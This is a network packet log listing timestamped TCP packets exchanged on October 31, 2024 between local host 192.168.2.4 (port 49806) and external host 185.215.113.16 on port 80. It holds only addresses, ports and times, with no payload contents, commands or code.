Oct 31, 2024 23:38:09.797084093 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.797095060 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.797096014 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.797106981 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.797118902 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.797118902 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.797128916 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.797139883 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.797143936 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.797178030 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.797188044 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.877841949 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.877861023 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.877878904 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.877890110 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.877899885 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.877911091 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.877922058 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.877929926 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.877938032 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.877950907 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.877960920 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.877970934 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.877978086 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.877981901 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.877991915 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.877995968 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.878004074 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.878026009 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.878026009 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.878040075 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.878046036 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.878048897 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.878079891 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.878103018 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.878215075 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.878225088 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.878236055 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.878257990 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.878268003 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.878278017 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.878281116 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.878309011 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.878791094 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.878802061 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.878810883 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.878840923 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.878853083 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.878887892 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.878899097 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.878909111 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.878936052 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.878957987 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879038095 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879048109 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879056931 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879067898 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879079103 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879084110 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879095078 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879105091 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879106045 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879113913 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879118919 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879123926 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879133940 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879143953 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879151106 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879162073 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879173040 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879173040 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879183054 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879183054 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879194975 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879204035 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879210949 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879288912 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879300117 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879308939 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879319906 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879328966 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879334927 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879345894 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879363060 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879371881 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879383087 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879386902 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879400969 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879400969 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879415035 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879419088 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879425049 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879436016 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879440069 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879446030 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879467010 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879488945 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879489899 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879499912 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879508972 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879518986 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879523993 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879548073 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879570007 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879622936 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879632950 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879642010 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879651070 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879668951 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879689932 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879769087 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879780054 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879789114 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879798889 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879810095 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879812002 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879821062 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879826069 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879832029 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879844904 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879853964 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879875898 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.879970074 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879981041 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.879988909 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880000114 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880009890 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880017996 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880022049 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880032063 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880034924 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880042076 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880047083 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880053043 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880062103 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880064964 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880093098 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880105019 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880115986 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880125046 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880132914 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880141020 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880142927 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880155087 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880168915 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880188942 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880192041 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880199909 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880222082 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880244017 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880269051 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880279064 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880300045 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880310059 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880312920 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880326986 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880342960 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880367994 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880392075 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880402088 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880410910 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880428076 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880436897 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880440950 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880446911 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880448103 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880477905 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880498886 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880507946 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880518913 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880527973 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880537987 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880554914 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880573988 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880578995 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880584955 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880595922 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880605936 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880630016 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880640030 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880650997 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880688906 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880721092 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880762100 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880820036 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880831003 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880846977 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880858898 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.880862951 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880883932 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.880906105 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.881004095 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.881012917 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.881047964 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.911345005 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911356926 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911367893 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911413908 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.911416054 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911427975 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911427975 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.911438942 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911463022 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.911474943 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.911564112 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911572933 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911583900 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911597013 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911608934 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911609888 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.911621094 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911623001 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.911638975 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911650896 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911659002 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.911662102 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911686897 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.911694050 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.911823034 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911839008 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911849022 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911865950 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.911869049 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911885977 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.911885977 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.911910057 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.911933899 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912015915 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912034035 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912045956 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912055016 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912061930 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912065029 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912074089 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912085056 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912085056 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912097931 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912101984 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912108898 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912120104 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912137985 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912158966 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912161112 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912170887 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912200928 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912209988 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912221909 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912233114 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912242889 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912269115 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912292957 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912380934 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912398100 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912409067 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912420988 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912425041 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912432909 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912441015 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912444115 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912456989 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912461996 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912468910 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912480116 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912487984 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912506104 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912518024 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912589073 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912600040 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912610054 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912636995 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912662029 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912663937 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912676096 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912684917 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912703037 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912703037 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912717104 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912722111 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912728071 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912739992 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912749052 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912759066 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912789106 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912842989 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912853956 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912864923 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912890911 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912914038 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.912981033 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.912992954 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913002968 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913027048 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.913052082 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.913213015 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913223982 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913233995 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913260937 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.913284063 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.913366079 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913378000 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913389921 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913414955 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.913436890 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.913461924 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913472891 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913484097 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913494110 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913511038 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.913537025 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.913579941 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913597107 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913608074 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913626909 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.913652897 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.913724899 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913736105 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913747072 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913758993 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913773060 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.913774967 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913793087 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.913815022 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.913844109 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913853884 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913863897 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913875103 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.913893938 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.913919926 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914091110 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914128065 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914135933 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914140940 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914165974 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914180040 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914235115 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914246082 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914257050 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914268017 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914279938 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914282084 CET	49806	80	192.168.2.4	185.215.113.16
